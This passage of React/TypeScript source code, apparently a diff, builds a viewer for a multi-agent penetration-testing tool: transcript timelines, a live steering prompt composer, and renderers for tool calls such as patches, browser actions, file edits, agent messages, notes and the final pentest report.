// Count only assistant messages for the graph node subtitle.
messageCount.set(e.agent_id, (messageCount.get(e.agent_id) ?? 0) + 1);
}
}
const map = new Map<string, GraphAgentNode>();
for (const a of agents) {
map.set(a.id, {
id: a.id,
name: a.name,
task: taskByName.get(a.name) ?? "",
status: graphStatus(a.status),
parentId: a.parent_id,
children: childrenOf.get(a.id) ?? [],
createdAt: a.created_at,
toolCount: toolCount.get(a.id) ?? 0,
messageCount: messageCount.get(a.id) ?? 0,
});
}
return map;
}
/* ---------- Per-agent transcript ---------- */
export function AgentTranscript({
agent,
events,
showHeader = true,
}: {
agent: TranscriptAgent;
events: TranscriptEvent[];
showHeader?: boolean;
}) {
const mine = useMemo(() => {
const ordered = events
.filter((e) => e.agent_id === agent.id)
.sort((a, b) => eventSeq(a.id) - eventSeq(b.id));
const hidden = hiddenUserEventIds(ordered);
return ordered.filter((e) => !hidden.has(e.id));
}, [events, agent.id]);
const toolCount = mine.filter((e) => e.type === "tool").length;
const msgCount = mine.length - toolCount;
return (
<div>
{showHeader && (
<>
<div className="flex items-center gap-2 flex-wrap mb-1">
<span className="text-base font-semibold text-white truncate">{agent.name}</span>
<span
className={`flex-shrink-0 text-xs font-medium capitalize px-2 py-0.5 rounded-full border ${
STATUS_STYLE[agent.status] ?? "text-[#aaa] border-[#333] bg-[#1a1a1a]"
}`}
>
{agent.status}
</span>
<span className="font-mono text-xs text-[#555]">{agent.id}</span>
</div>
<p className="text-xs text-[#666] mb-4">
{msgCount} message{msgCount === 1 ? "" : "s"} · {toolCount} tool call
{toolCount === 1 ? "" : "s"}
</p>
</>
)}
{mine.length === 0 ? (
<p className="text-sm text-[#666]">No recorded activity for this agent.</p>
) : (
<div className="py-1">
{mine.map((event, i) => {
const isLast = i === mine.length - 1;
const isTool = event.type === "tool";
const toolName = isTool ? String(event.data?.tool_name ?? "tool") : "";
const role = !isTool ? String(event.data?.role ?? "assistant") : "";
let Icon;
let iconColor: string;
if (isTool) {
const meta = getToolIcon(toolName);
Icon = meta.icon;
iconColor = meta.color;
} else {
const isUser = role === "user" || role === "human";
Icon = isUser ? Bot : Brain;
iconColor = isUser ? "text-blue-400" : "text-purple-400";
}
const status = isTool ? String(event.data?.status ?? "completed") : "completed";
return (
<div key={event.id} className="flex gap-3">
<div className="flex flex-col items-center shrink-0">
<div
className={`w-[30px] h-[30px] rounded-full bg-black border flex items-center justify-center shrink-0 ${
isTool && status === "running"
? "border-blue-500/40 animate-pulse"
: isTool && status === "failed"
? "border-red-500/30"
: "border-[#222]"
}`}
>
<Icon className={`w-3.5 h-3.5 ${iconColor}`} />
</div>
{!isLast && <div className="w-px flex-1 bg-[#1a1a1a] mt-1" />}
</div>
<div className="flex-1 min-w-0 pt-[5px] pb-6">
{isTool ? (
<SafeToolRenderer
toolName={toolName}
args={asRecord(event.data?.args)}
result={coerce(event.data?.result) ?? null}
status={
status as ToolRendererProps["status"]
}
/>
) : (
<ChatBubble
role={role}
content={String(event.data?.content ?? "")}
/>
)}
</div>
</div>
);
})}
</div>
)}
</div>
);
}
@@ -0,0 +1,70 @@
"use client";
function SkeletonNode({ w = 24 }: { w?: number }) {
return (
<div className="w-[180px] h-[72px] rounded-lg border border-[#222] bg-[#0a0a0a] px-3 py-2 shrink-0">
<div className="flex items-center gap-2 mb-1.5">
<div className="w-2 h-2 rounded-full bg-[#2a2a2a]" />
<div className="h-3 rounded bg-[#252525]" style={{ width: `${w * 4}px` }} />
</div>
<div className="h-2 w-28 rounded bg-[#1e1e1e] mb-1.5" />
<div className="flex gap-3">
<div className="h-2 w-8 rounded bg-[#1e1e1e]" />
<div className="h-2 w-8 rounded bg-[#1e1e1e]" />
</div>
</div>
);
}
function VLine() {
return <div className="w-px h-6 bg-[#2a2a2a]" />;
}
function HBranch({ count }: { count: number }) {
return (
<div className="relative flex justify-center">
<div className="absolute top-0 h-px bg-[#2a2a2a]" style={{ width: `${(count - 1) * 220}px` }} />
</div>
);
}
export default function GraphSkeleton() {
return (
<div className="h-full bg-black overflow-hidden">
<div className="flex flex-col items-center pt-10 animate-pulse">
<SkeletonNode w={20} />
<VLine />
<HBranch count={3} />
<div className="flex gap-10">
{[18, 22, 16].map((w, i) => (
<div key={i} className="flex flex-col items-center">
<VLine />
<SkeletonNode w={w} />
</div>
))}
</div>
<div className="flex gap-10 w-full justify-center">
<div className="flex flex-col items-center">
<VLine />
<HBranch count={2} />
<div className="flex gap-10">
{[14, 20].map((w, i) => (
<div key={i} className="flex flex-col items-center">
<VLine />
<SkeletonNode w={w} />
</div>
))}
</div>
</div>
<div className="flex flex-col items-center">
<VLine />
<SkeletonNode w={18} />
<VLine />
<SkeletonNode w={12} />
</div>
<div className="w-[180px]" />
</div>
</div>
</div>
);
}
@@ -0,0 +1,315 @@
import {
useCallback,
useEffect,
useLayoutEffect,
useMemo,
useRef,
useState,
} from "react";
import { ArrowUp, ChevronDown, ChevronUp, Loader2, Sparkles } from "lucide-react";
import { steerAgent, type TranscriptAgent } from "@/data/serverSource";
import { track } from "@/lib/cta";
import { cn } from "@/lib/utils";
const ROOT_TARGET_VALUE = "__root__";
interface ScanPromptComposerProps {
/** All agents in the run; used to resolve the root and running children. */
agents: TranscriptAgent[];
/**
* Single-agent (modal) mode: pins the composer to one agent and shows a
* static "Target: <name>" pill instead of the dropdown. Omit for the
* multi-agent graph variant.
*/
fixedAgentId?: string;
className?: string;
}
/**
* Faithful port of the pro app's ScanPromptComposer for the local viewer.
* Collapsed by default into a "Guide the agent" pill; expands into a card with
* an auto-resizing textarea and a target control. The viewer's steering is
* immediate (no Enterprise lock, no bridge-connecting state), so this is only
* rendered by callers when steering is available. Sends via steerAgent, which
* requires a concrete agent id, so "Root agent" resolves to the root agent's id.
*/
export function ScanPromptComposer({
agents,
fixedAgentId,
className,
}: ScanPromptComposerProps) {
const textareaRef = useRef<HTMLTextAreaElement>(null);
const [expanded, setExpanded] = useState(false);
const [focused, setFocused] = useState(false);
const [value, setValue] = useState("");
const [sending, setSending] = useState(false);
const [feedback, setFeedback] = useState<string | null>(null);
const isModal = fixedAgentId != null;
// Root = the agent with no parent; fall back to the first agent.
const rootAgent = useMemo(
() => agents.find((a) => !a.parent_id) ?? agents[0] ?? null,
[agents]
);
// Multi-agent dropdown options: running child agents plus Root (added in JSX).
const targetOptions = useMemo(
() => agents.filter((a) => a.parent_id && a.status === "running"),
[agents]
);
// Selected target for the multi-agent variant. ROOT sentinel by default.
const [selectedTarget, setSelectedTarget] = useState<string>(ROOT_TARGET_VALUE);
const [menuOpen, setMenuOpen] = useState(false);
// If the selected child target disappears (finished), fall back to Root.
useEffect(() => {
if (
selectedTarget !== ROOT_TARGET_VALUE &&
!targetOptions.some((a) => a.id === selectedTarget)
) {
setSelectedTarget(ROOT_TARGET_VALUE);
}
}, [selectedTarget, targetOptions]);
// Resolve the concrete agent id + display name for the current target.
const { targetId, targetName } = useMemo(() => {
if (isModal) {
const agent = agents.find((a) => a.id === fixedAgentId) ?? null;
return {
targetId: fixedAgentId ?? null,
targetName: agent?.name ?? "this agent",
};
}
if (selectedTarget === ROOT_TARGET_VALUE) {
return {
targetId: rootAgent?.id ?? null,
targetName: "Root agent",
};
}
const agent = agents.find((a) => a.id === selectedTarget) ?? null;
return {
targetId: agent?.id ?? rootAgent?.id ?? null,
targetName: agent?.name ?? "Root agent",
};
}, [agents, fixedAgentId, isModal, rootAgent, selectedTarget]);
const empty = value.trim().length === 0;
// Grow the textarea with its content, capped by max-h via CSS.
useLayoutEffect(() => {
const el = textareaRef.current;
if (!el) return;
el.style.height = "auto";
el.style.height = `${el.scrollHeight}px`;
}, [value]);
const handleExpand = useCallback(() => {
setExpanded(true);
requestAnimationFrame(() => textareaRef.current?.focus());
}, []);
const handleCollapse = useCallback(() => {
setExpanded(false);
setFocused(false);
setMenuOpen(false);
}, []);
const handleSend = useCallback(async () => {
if (sending) return;
const message = value.trim();
if (!message || !targetId) return;
setSending(true);
setFeedback(null);
const name = targetName;
const res = await steerAgent(targetId, message);
setSending(false);
if (res.ok) {
setValue("");
setFeedback(`Sent to ${name}`);
track("agent_steered");
} else if (res.error === "not_delivered") {
setFeedback("Could not reach that agent (it may have finished).");
} else {
setFeedback("Could not send that message. Try again.");
}
}, [sending, value, targetId, targetName]);
if (!expanded) {
return (
<button
type="button"
onClick={handleExpand}
className={cn(
"mt-4 flex w-full items-center justify-between gap-3 rounded-2xl border border-white/[0.08] bg-[#050505] px-5 py-3 text-left transition-colors duration-300 hover:border-white/[0.12] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-white/20",
className
)}
aria-expanded={false}
aria-label="Expand live prompt composer"
>
<div className="flex min-w-0 items-center gap-2">
<Sparkles className="h-4 w-4 shrink-0 text-[#666]" />
<span className="truncate text-sm font-medium text-white">Guide the agent</span>
</div>
<ChevronUp className="h-4 w-4 shrink-0 text-[#777]" />
</button>
);
}
return (
<div
className={cn(
"mt-4 rounded-2xl border border-white/[0.08] bg-[#050505] overflow-hidden transition-colors duration-300",
focused ? "border-white/[0.18]" : "hover:border-white/[0.12]",
className
)}
>
<div className="flex items-center justify-between gap-3 border-b border-white/[0.06] px-5 py-3">
<div className="min-w-0">
<div className="flex items-center gap-2">
<Sparkles className="h-4 w-4 text-[#666]" />
<p className="text-sm font-medium text-white">Live prompt</p>
</div>
<p className="mt-0.5 text-xs text-[#777]">Connected</p>
</div>
<div className="flex shrink-0 items-center gap-2">
{isModal ? (
<div className="rounded-full border border-white/[0.08] bg-white/[0.03] px-3 py-1 text-xs text-[#aaa]">
Target: <span className="text-white">{targetName}</span>
</div>
) : (
<div className="flex items-center gap-1.5">
<span className="text-xs text-[#aaa]">Target:</span>
<div className="relative">
<button
type="button"
onClick={() => setMenuOpen((o) => !o)}
onBlur={() => requestAnimationFrame(() => setMenuOpen(false))}
className="inline-flex h-7 items-center gap-1 rounded-full border border-white/[0.08] bg-white/[0.03] px-3 text-xs text-white transition-colors hover:border-white/[0.16] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-white/20"
aria-haspopup="listbox"
aria-expanded={menuOpen}
>
<span className="max-w-[140px] truncate">{targetName}</span>
<ChevronDown className="h-3.5 w-3.5 text-[#999]" />
</button>
{menuOpen && (
<div
className="absolute right-0 z-10 mt-1 min-w-[160px] overflow-hidden rounded-lg border border-[#333] bg-[#0a0a0a] py-1 shadow-xl"
role="listbox"
>
<TargetMenuItem
label="Root agent"
active={selectedTarget === ROOT_TARGET_VALUE}
onSelect={() => {
setSelectedTarget(ROOT_TARGET_VALUE);
setMenuOpen(false);
}}
/>
{targetOptions.map((option) => (
<TargetMenuItem
key={option.id}
label={option.name}
active={selectedTarget === option.id}
onSelect={() => {
setSelectedTarget(option.id);
setMenuOpen(false);
}}
/>
))}
</div>
)}
</div>
</div>
)}
<button
type="button"
onClick={handleCollapse}
className="inline-flex h-7 w-7 items-center justify-center rounded-full text-[#777] transition-colors hover:bg-white/[0.06] hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-white/20"
aria-label="Collapse live prompt composer"
>
<ChevronDown className="h-4 w-4" />
</button>
</div>
</div>
<div className="px-5 pt-4 pb-3">
<textarea
ref={textareaRef}
rows={1}
value={value}
onChange={(e) => setValue(e.target.value)}
onFocus={() => setFocused(true)}
onBlur={() => setFocused(false)}
onKeyDown={(e) => {
if (e.key === "Enter" && !e.shiftKey) {
e.preventDefault();
void handleSend();
}
}}
placeholder="Send a live prompt to the running scan…"
maxLength={4000}
disabled={sending}
className="block w-full resize-none border-0 bg-transparent p-0 text-[15px] leading-6 text-white placeholder:text-[#444] focus:outline-none disabled:opacity-60 max-h-[160px] overflow-y-auto"
/>
</div>
<div className="flex items-center justify-between gap-3 px-4 pb-4">
<div className="text-xs text-[#666]">{feedback ?? "Press Enter to send."}</div>
<button
type="button"
onClick={(event) => {
event.stopPropagation();
void handleSend();
}}
disabled={sending || empty}
className={cn(
"inline-flex h-10 min-w-[112px] items-center justify-center gap-2 rounded-full px-4 text-sm font-medium transition-colors",
sending || empty
? "bg-white/[0.08] text-[#666]"
: "bg-white text-black hover:bg-neutral-200"
)}
>
{sending ? (
<Loader2 className="h-4 w-4 animate-spin" />
) : (
<ArrowUp className="h-4 w-4" strokeWidth={2.5} />
)}
<span>Send prompt</span>
</button>
</div>
</div>
);
}
function TargetMenuItem({
label,
active,
onSelect,
}: {
label: string;
active: boolean;
onSelect: () => void;
}) {
return (
<button
type="button"
role="option"
aria-selected={active}
// onMouseDown so the click lands before the trigger's onBlur closes the menu.
onMouseDown={(e) => {
e.preventDefault();
onSelect();
}}
className={cn(
"block w-full truncate px-3 py-1.5 text-left text-xs transition-colors hover:bg-white/[0.06]",
active ? "text-white" : "text-[#aaa]"
)}
>
{label}
</button>
);
}
export default ScanPromptComposer;
@@ -0,0 +1,92 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { TruncatedText } from "./ToolCard";
export default function AgentCommsRenderer({ toolName, args }: ToolRendererProps) {
if (toolName === "create_agent") {
const name = (args.name as string) ?? (args.agent_name as string) ?? "";
const task = (args.task as string) ?? "";
return (
<div>
<div className="flex items-center gap-2">
<span className="text-cyan-400/80 font-semibold text-sm">spawning</span>
{name && <span className="text-cyan-400 font-semibold text-sm">{name}</span>}
</div>
{task && <div className="mt-1.5"><TruncatedText text={task} maxLines={15} /></div>}
</div>
);
}
if (toolName === "agent_finish") {
const summary = (args.result_summary as string) ?? "";
const success = args.success as boolean | undefined;
const rawFindings = args.findings;
const findings = Array.isArray(rawFindings) ? rawFindings as string[] : undefined;
return (
<div>
<span className={`font-semibold text-sm ${success === false ? "text-red-400/80" : "text-emerald-400/80"}`}>
{success === false ? "Agent failed" : "Agent completed"}
</span>
{summary && <div className="mt-1.5"><TruncatedText text={summary} maxLines={20} /></div>}
{findings && findings.length > 0 && (
<div className="mt-1.5 space-y-0.5">
{findings.map((f, i) => (
<div key={i} className="text-[13px] text-[#888]"><span className="text-red-400/50 mr-1"></span>{typeof f === "string" ? f : JSON.stringify(f)}</div>
))}
</div>
)}
</div>
);
}
if (toolName === "send_message_to_agent") {
const message = (args.message as string) ?? "";
const agentId = (args.target_agent_id as string) ?? (args.agent_id as string) ?? "";
return (
<div>
<div className="flex items-center gap-2">
<span className="text-cyan-400/80 font-semibold text-sm">message</span>
{agentId && <span className="text-[#888] text-[13px]">to {agentId.slice(0, 16)}</span>}
</div>
{message && <div className="mt-1.5"><TruncatedText text={message} maxLines={20} /></div>}
</div>
);
}
if (toolName === "wait_for_message") {
const reason = (args.reason as string) ?? "";
return (
<div className="flex items-center gap-2">
<span className="text-cyan-400/80 font-semibold text-sm">waiting</span>
{reason && <span className="text-[#888] text-[13px] truncate">{reason}</span>}
</div>
);
}
if (toolName === "stop_agent") {
const targetAgentId = (args.target_agent_id as string) ?? "";
const cascade = args.cascade !== false;
const reason = (args.reason as string) ?? "";
return (
<div>
<div className="flex items-center gap-2 flex-wrap">
<span className="text-red-400/80 font-semibold text-sm">stopping</span>
{targetAgentId && <span className="text-[#888] text-[13px]">{targetAgentId.slice(0, 16)}</span>}
{cascade && <span className="text-[#555] text-[13px] italic">+ descendants</span>}
</div>
{reason && <div className="mt-1.5 text-[#888] text-[13px]">{reason}</div>}
</div>
);
}
if (toolName === "view_agent_graph") {
return (
<span className="text-cyan-400/80 font-semibold text-sm">viewing agents graph</span>
);
}
return (
<span className="text-cyan-400/80 font-semibold text-sm">{toolName.replace(/_/g, " ")}</span>
);
}
@@ -0,0 +1,124 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { shortPath } from "./utils";
const DIFF_PREVIEW_LINES = 30;
const BEGIN_PATCH = "*** Begin Patch";
const END_PATCH = "*** End Patch";
const ADD_FILE = "*** Add File: ";
const UPDATE_FILE = "*** Update File: ";
const DELETE_FILE = "*** Delete File: ";
const OP_LABEL: Record<string, string> = { add: "create", update: "edit", delete: "delete" };
interface PatchOp {
kind: "add" | "update" | "delete";
path: string;
oldLines: string[];
newLines: string[];
}
/** apply_patch args arrive as {patch: text} (chat-completions FunctionTool) or
* {input: text} (CustomTool). Mirrors the OSS `_extract_patch_text`. */
function extractPatchText(args: Record<string, unknown>): string {
const raw = args.patch;
if (typeof raw === "string") return raw;
if (raw && typeof raw === "object" && typeof (raw as Record<string, unknown>).patch === "string") {
return (raw as Record<string, string>).patch;
}
return typeof args.input === "string" ? args.input : "";
}
/** Parse V4A patch text into per-file operations (mirrors `_parse_patch_operations`). */
function parsePatchOperations(patchText: string): PatchOp[] {
const ops: PatchOp[] = [];
let current: PatchOp | null = null;
const flush = () => {
if (current) ops.push(current);
current = null;
};
for (const line of patchText.split("\n")) {
if (line === BEGIN_PATCH || line === END_PATCH) continue;
if (line.startsWith(ADD_FILE)) {
flush();
current = { kind: "add", path: line.slice(ADD_FILE.length).trim(), oldLines: [], newLines: [] };
} else if (line.startsWith(UPDATE_FILE)) {
flush();
current = { kind: "update", path: line.slice(UPDATE_FILE.length).trim(), oldLines: [], newLines: [] };
} else if (line.startsWith(DELETE_FILE)) {
flush();
current = { kind: "delete", path: line.slice(DELETE_FILE.length).trim(), oldLines: [], newLines: [] };
} else if (current?.kind === "update") {
if (line.startsWith("@@")) continue;
if (line.startsWith("-") && !line.startsWith("---")) current.oldLines.push(line.slice(1));
else if (line.startsWith("+") && !line.startsWith("+++")) current.newLines.push(line.slice(1));
} else if (current?.kind === "add") {
if (line.startsWith("+")) current.newLines.push(line.slice(1));
else if (line.trim()) current.newLines.push(line);
}
}
flush();
return ops;
}
function Operation({ op }: { op: PatchOp }) {
const label = OP_LABEL[op.kind] ?? "file";
const total = op.oldLines.length + op.newLines.length;
const truncated = total > DIFF_PREVIEW_LINES;
const oldBudget = truncated && total > 0 ? Math.round(DIFF_PREVIEW_LINES * (op.oldLines.length / total)) : op.oldLines.length;
const newBudget = truncated ? DIFF_PREVIEW_LINES - oldBudget : op.newLines.length;
return (
<div>
<div className="flex items-baseline gap-2">
<span className="text-sky-400/80 font-semibold text-sm shrink-0">{label}</span>
{op.path && <span className="text-[#888] font-mono text-[13px] break-all">{shortPath(op.path)}</span>}
</div>
{(op.oldLines.length > 0 || op.newLines.length > 0) && (
<div className="font-mono text-[13px] leading-relaxed mt-1.5">
{op.oldLines.slice(0, oldBudget).map((line, i) => (
<div key={`o${i}`} className="text-red-400/60">
<span className="select-none text-red-400/30 mr-1">-</span>{line}
</div>
))}
{op.newLines.slice(0, newBudget).map((line, i) => (
<div key={`n${i}`} className="text-emerald-400/60">
<span className="select-none text-emerald-400/30 mr-1">+</span>{line}
</div>
))}
{truncated && <div className="text-[#444] mt-0.5">... {total - DIFF_PREVIEW_LINES} more lines</div>}
</div>
)}
</div>
);
}
export default function ApplyPatchRenderer({ args, result, status }: ToolRendererProps) {
const ops = parsePatchOperations(extractPatchText(args));
if (ops.length === 0) {
return (
<div>
<span className="text-sky-400/80 font-semibold text-sm">patch</span>
{status === "failed" && typeof result === "string" && result.trim() && (
<div className="text-red-400/70 text-[13px] mt-1">{result.trim()}</div>
)}
</div>
);
}
return (
<div className="space-y-2">
{ops.map((op, i) => (
<Operation key={i} op={op} />
))}
{status === "failed" && typeof result === "string" && result.trim() && (
<div className="text-red-400/70 text-[13px]">{result.trim()}</div>
)}
</div>
);
}
@@ -0,0 +1,110 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { SyntaxBlock } from "./ToolCard";
const SIMPLE_ACTIONS: Record<string, string> = {
back: "going back in browser history",
forward: "going forward in browser history",
scroll_down: "scrolling down",
scroll_up: "scrolling up",
refresh: "refreshing",
close_tab: "closing tab",
switch_tab: "switching tab",
list_tabs: "listing tabs",
view_source: "viewing page source",
get_console_logs: "getting console logs",
screenshot: "taking screenshot",
wait: "waiting...",
close: "closing",
};
const CLICK_ACTIONS: Record<string, string> = {
click: "clicking",
double_click: "double clicking",
hover: "hovering",
};
function UrlLabel({ prefix, url, suffix }: { prefix: string; url?: string; suffix?: string }) {
return (
<span className="text-[#888] text-[13px]">
{prefix}
{url && (
<a
href={url}
target="_blank"
rel="noopener noreferrer"
className="text-cyan-400/80 hover:underline"
>
{url}
</a>
)}
{suffix}
</span>
);
}
function describeAction(args: Record<string, unknown>): React.ReactNode {
const action = (args.action as string) ?? "";
const url = (args.url as string) ?? undefined;
// Simple actions (no extra args)
if (action in SIMPLE_ACTIONS) return SIMPLE_ACTIONS[action];
// URL actions: launch, goto, new_tab
if (action === "launch") {
if (!url) return "launching";
return <UrlLabel prefix="launching " url={url} />;
}
if (action === "goto" || action === "navigate") {
return <UrlLabel prefix="navigating to " url={url} />;
}
if (action === "new_tab") {
return <UrlLabel prefix="opening tab " url={url} />;
}
// Click actions
if (action in CLICK_ACTIONS) return CLICK_ACTIONS[action];
// Type
if (action === "type") {
const text = ((args.text as string) ?? "").slice(0, 40);
return `typing "${text}"`;
}
// Key press
if (action === "press_key" || action === "key_press") {
return `pressing key ${(args.key as string) ?? ""}`;
}
// Save PDF
if (action === "save_pdf" || action === "save_as_pdf") {
const path = (args.file_path as string) ?? "";
return `saving PDF${path ? ` to ${path}` : ""}`;
}
// Execute JS — description only, code shown separately
if (action === "execute_js") return "executing javascript";
return action || "browser action";
}
export default function BrowserRenderer({ args }: ToolRendererProps) {
const action = (args.action as string) ?? "";
const jsCode = action === "execute_js"
? ((args.js_code as string) ?? (args.code as string) ?? "")
: "";
const description = describeAction(args);
return (
<div>
<div className="flex items-center gap-2 min-w-0">
<span className="text-blue-400/80 font-semibold text-sm shrink-0">Browser</span>
<span className="min-w-0 truncate text-[#888] text-[13px]">
{typeof description === "string" ? description : description}
</span>
</div>
{jsCode && <SyntaxBlock code={jsCode} language="javascript" collapsible />}
</div>
);
}
@@ -0,0 +1,25 @@
"use client";
import { TruncatedText } from "./ToolCard";
interface ChatBubbleProps {
role: string;
content: string;
}
const MAX_LINES = 30;
export default function ChatBubble({ role, content }: ChatBubbleProps) {
const isUser = role === "user" || role === "human";
return (
<div>
<span className={`font-semibold text-sm ${isUser ? "text-blue-400/80" : "text-purple-400/80"}`}>
{isUser ? "User" : "Thinking"}
</span>
<div className="mt-1.5 italic text-[#888]">
<TruncatedText text={content} maxLines={MAX_LINES} />
</div>
</div>
);
}
@@ -0,0 +1,36 @@
import type { ToolRendererProps } from "@/types/events";
import { CodeBlock } from "./ToolCard";
/**
* Generic renderer for tool names without a dedicated family renderer. Shows the
* humanized tool name plus a pretty-printed dump of args/result. Tolerates the
* server sending args/result as either a parsed object or an unparseable
* Python-repr string (which arrives here wrapped as { __raw }); never crashes.
*/
function pretty(value: unknown): string | null {
if (value == null) return null;
if (typeof value === "string") return value.trim() ? value : null;
if (typeof value === "object") {
const rec = value as Record<string, unknown>;
if (typeof rec.__raw === "string") return rec.__raw;
if (Object.keys(rec).length === 0) return null;
try {
return JSON.stringify(value, null, 2);
} catch {
return String(value);
}
}
return String(value);
}
export default function FallbackRenderer({ toolName, args, result }: ToolRendererProps) {
const argsText = pretty(args);
const resultText = pretty(result);
return (
<div>
<span className="text-[#888] font-semibold text-sm">{toolName.replace(/_/g, " ")}</span>
{argsText && <CodeBlock className="text-[#777]">{argsText}</CodeBlock>}
{resultText && <CodeBlock className="text-[#666]">{resultText}</CodeBlock>}
</div>
);
}
@@ -0,0 +1,65 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { shortPath } from "./utils";
const DIFF_PREVIEW_LINES = 30;
export default function FileEditRenderer({ toolName, args }: ToolRendererProps) {
const filePath = (args.path as string) ?? (args.file_path as string) ?? "";
const command = (args.command as string) ?? "";
const oldStr = (args.old_str as string) ?? "";
const newStr = (args.new_str as string) ?? "";
const regex = (args.regex as string) ?? "";
let label: string;
if (toolName === "list_files") label = "list";
else if (toolName === "search_files") label = "search";
else if (command === "view") label = "view";
else if (command === "create") label = "create";
else if (command === "str_replace") label = "edit";
else if (command === "undo_edit") label = "undo";
else if (command === "insert") label = "insert";
else label = "file";
const pathDisplay = filePath ? shortPath(filePath) : "";
const regexDisplay = regex ? ` /${regex}/` : "";
const oldLines = oldStr ? oldStr.split("\n") : [];
const newLines = newStr ? newStr.split("\n") : [];
const totalLines = oldLines.length + newLines.length;
const truncated = totalLines > DIFF_PREVIEW_LINES;
// If truncated, split the budget proportionally
const oldBudget = truncated ? Math.round(DIFF_PREVIEW_LINES * (oldLines.length / totalLines)) : oldLines.length;
const newBudget = truncated ? DIFF_PREVIEW_LINES - oldBudget : newLines.length;
return (
<div>
<div className="flex items-baseline gap-2">
<span className="text-sky-400/80 font-semibold text-sm shrink-0">{label}</span>
{pathDisplay && <span className="text-[#888] font-mono text-[13px] break-all">{pathDisplay}</span>}
</div>
{regexDisplay && (
<div className="text-purple-400/60 font-mono text-[13px] break-all mt-0.5">{regexDisplay}</div>
)}
{(oldStr || newStr) && (
<div className="font-mono text-[13px] leading-relaxed mt-1.5">
{oldLines.slice(0, oldBudget).map((line, i) => (
<div key={`o${i}`} className="text-red-400/60">
<span className="select-none text-red-400/30 mr-1">-</span>{line}
</div>
))}
{newLines.slice(0, newBudget).map((line, i) => (
<div key={`n${i}`} className="text-emerald-400/60">
<span className="select-none text-emerald-400/30 mr-1">+</span>{line}
</div>
))}
{truncated && (
<div className="text-[#444] mt-0.5">... {totalLines - DIFF_PREVIEW_LINES} more lines</div>
)}
</div>
)}
</div>
);
}
@@ -0,0 +1,32 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { TruncatedText } from "./ToolCard";
export default function FinishRenderer({ args }: ToolRendererProps) {
const executiveSummary = (args.executive_summary as string) ?? "";
const methodology = (args.methodology as string) ?? "";
const technicalAnalysis = (args.technical_analysis as string) ?? "";
const recommendations = (args.recommendations as string) ?? "";
return (
<div className="space-y-3">
<span className="text-emerald-400/80 font-semibold text-sm">Penetration test completed</span>
{executiveSummary && (
<div><span className="text-emerald-400/60 text-sm font-semibold">Executive Summary</span><div className="mt-1"><TruncatedText text={executiveSummary} maxLines={25} /></div></div>
)}
{methodology && (
<div><span className="text-emerald-400/60 text-sm font-semibold">Methodology</span><div className="mt-1"><TruncatedText text={methodology} maxLines={25} /></div></div>
)}
{technicalAnalysis && (
<div><span className="text-emerald-400/60 text-sm font-semibold">Technical Analysis</span><div className="mt-1"><TruncatedText text={technicalAnalysis} maxLines={25} /></div></div>
)}
{recommendations && (
<div><span className="text-emerald-400/60 text-sm font-semibold">Recommendations</span><div className="mt-1"><TruncatedText text={recommendations} maxLines={25} /></div></div>
)}
{!executiveSummary && !methodology && !technicalAnalysis && !recommendations && (
<div className="text-[#555] text-xs">Generating final report...</div>
)}
</div>
);
}
@@ -0,0 +1,20 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
export default function LoadSkillRenderer({ args }: ToolRendererProps) {
const requestedRaw = (args.skills as string) ?? "";
const requestedSkills = requestedRaw
.split(",")
.map((skill) => skill.trim())
.filter(Boolean);
return (
<div className="flex items-center gap-2">
<span className="text-emerald-400/80 font-semibold text-sm">Loading skill</span>
{requestedSkills.length > 0 && (
<span className="text-[#888] text-[13px]">{requestedSkills.join(", ")}</span>
)}
</div>
);
}
@@ -0,0 +1,24 @@
"use client";
import ReactMarkdown from "react-markdown";
import remarkGfm from "remark-gfm";
import { rehypeCodeMeta, mdComponents } from "@/components/vulnerability/MdCodeBlock";
interface MarkdownProps {
text: string;
className?: string;
}
export default function Markdown({ text, className = "" }: MarkdownProps) {
return (
<div className={`prose-markdown ${className}`}>
<ReactMarkdown
remarkPlugins={[remarkGfm]}
rehypePlugins={[rehypeCodeMeta]}
components={mdComponents}
>
{text}
</ReactMarkdown>
</div>
);
}
@@ -0,0 +1,87 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import Markdown from "./Markdown";
export default function NotesRenderer({ toolName, args, result }: ToolRendererProps) {
if (toolName === "create_note") {
const title = (args.title as string) ?? "";
const content = (args.content as string) ?? "";
const category = (args.category as string) ?? "general";
return (
<div>
<div className="flex items-center gap-2">
<span className="text-amber-400/80 font-semibold text-sm">note</span>
<span className="text-[#555] text-[13px]">({category})</span>
</div>
{title && <div className="mt-1.5 text-[#999] text-[13px]">{title}</div>}
{content && <div className="mt-1"><Markdown text={content} /></div>}
</div>
);
}
if (toolName === "delete_note") {
return <span className="text-amber-400/80 font-semibold text-sm">note removed</span>;
}
if (toolName === "update_note") {
const title = (args.title as string) ?? "";
const content = (args.content as string) ?? "";
return (
<div>
<span className="text-amber-400/80 font-semibold text-sm">note updated</span>
{title && <div className="mt-1.5 text-[#999] text-[13px]">{title}</div>}
{content && <div className="mt-1"><Markdown text={content} /></div>}
</div>
);
}
if (toolName === "get_note") {
const res = result as Record<string, unknown> | null;
const note = res && typeof res === "object" && res.success
? (res.note as Record<string, string> | undefined)
: undefined;
return (
<div>
<span className="text-amber-400/80 font-semibold text-sm">note read</span>
{note && (
<>
<div className="mt-1.5 text-[#999] text-[13px]">
{note.title ?? "(untitled)"}
<span className="text-[#555] ml-1">({note.category ?? "general"})</span>
</div>
{note.content && <div className="mt-1"><Markdown text={note.content} /></div>}
</>
)}
</div>
);
}
if (toolName === "list_notes") {
const res = result as Record<string, unknown> | null;
let notes: Array<Record<string, string>> = [];
if (res && typeof res === "object" && res.success) {
const rawNotes = res.notes;
notes = Array.isArray(rawNotes) ? rawNotes as Array<Record<string, string>> : [];
}
return (
<div>
<span className="text-amber-400/80 font-semibold text-sm">notes</span>
{notes.length > 0 ? (
<div className="mt-1.5 space-y-0.5">
{notes.map((n, i) => (
<div key={i} className="text-[13px]">
<span className="text-[#555] mr-1">-</span>
<span className="text-[#999]">{n.title ?? "(untitled)"}</span>
<span className="text-[#555] ml-1">({n.category ?? "general"})</span>
{n.content && <div className="ml-3"><Markdown text={n.content} /></div>}
</div>
))}
</div>
